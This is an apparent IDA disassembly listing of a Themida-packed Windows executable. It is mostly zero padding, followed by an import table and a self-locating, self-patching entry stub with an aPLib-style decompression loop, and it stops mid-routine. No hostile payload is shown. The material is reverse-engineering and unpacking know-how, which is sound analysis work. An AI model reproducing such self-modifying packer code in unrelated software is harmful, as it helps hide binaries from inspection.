		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 0008E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0008E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 48E000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 8E050h, 8E000h, 3 dup(0)
		dd 8E079h, 8E00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 0008F000)
; Virtual size			: 000E2000 ( 925696.)
; Section size in file		: 000E2000 ( 925696.)
; Offset to raw	data for section: 0008F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 48F000h
		dd 23041001h, 43AF2h, 52BB3h, 0C4172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 0048F265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004EDCB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004F1008 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 004F127E SIZE 0000004C BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_48F086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_48F041
		popa
		jmp	short loc_48F076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF0048F0h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_48F041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_48F04E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_48F06D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_48F074


loc_48F06D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_48F04E
; ---------------------------------------------------------------------------


loc_48F074:				; CODE XREF: start+57j
		mov	edi, eax


loc_48F076:				; CODE XREF: start+1Bj
		jmp	loc_48F265
; ---------------------------------------------------------------------------
		db 3
		dd 0F26AB9C7h, 0CF030008h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_48F086:				; CODE XREF: start+8j
		mov	eax, offset loc_4EDCB7
		mov	ecx, offset word_48F26A
		push	eax
		push	ecx
		call	sub_48F11B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_48F265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_48F11B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_48F127:				; CODE XREF: sub_48F11B:loc_48F13Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_48F132:				; CODE XREF: sub_48F11B+7Aj
					; sub_48F11B+C3j ...
		add	dl, dl
		jnz	short loc_48F13B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F13B:				; CODE XREF: sub_48F11B+19j
		jnb	short loc_48F127
		add	dl, dl
		jnz	short loc_48F146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F146:				; CODE XREF: sub_48F11B+24j
		jnb	short loc_48F197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_48F153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F153:				; CODE XREF: sub_48F11B+31j
		jnb	loc_48F238
		add	dl, dl
		jnz	short loc_48F162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F162:				; CODE XREF: sub_48F11B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F16D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F16D:				; CODE XREF: sub_48F11B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F178:				; CODE XREF: sub_48F11B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F183:				; CODE XREF: sub_48F11B+61j
		adc	eax, eax
		jz	short loc_48F18D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_48F18D:				; CODE XREF: sub_48F11B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_48F132
; ---------------------------------------------------------------------------


loc_48F197:				; CODE XREF: sub_48F11B:loc_48F146j
		mov	eax, 1


loc_48F19C:				; CODE XREF: sub_48F11B:loc_48F1B0j
		add	dl, dl
		jnz	short loc_48F1A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1A5:				; CODE XREF: sub_48F11B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_48F1B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1B0:				; CODE XREF: sub_48F11B+8Ej
		jb	short loc_48F19C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_48F1E3
		mov	ecx, 1


loc_48F1C0:				; CODE XREF: sub_48F11B:loc_48F1D4j
		add	dl, dl
		jnz	short loc_48F1C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1C9:				; CODE XREF: sub_48F11B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_48F1D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_48F1D4:				; CODE XREF: sub_48F11B+B2j
		jb	short loc_48F1C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_48F132
; ---------------------------------------------------------------------------


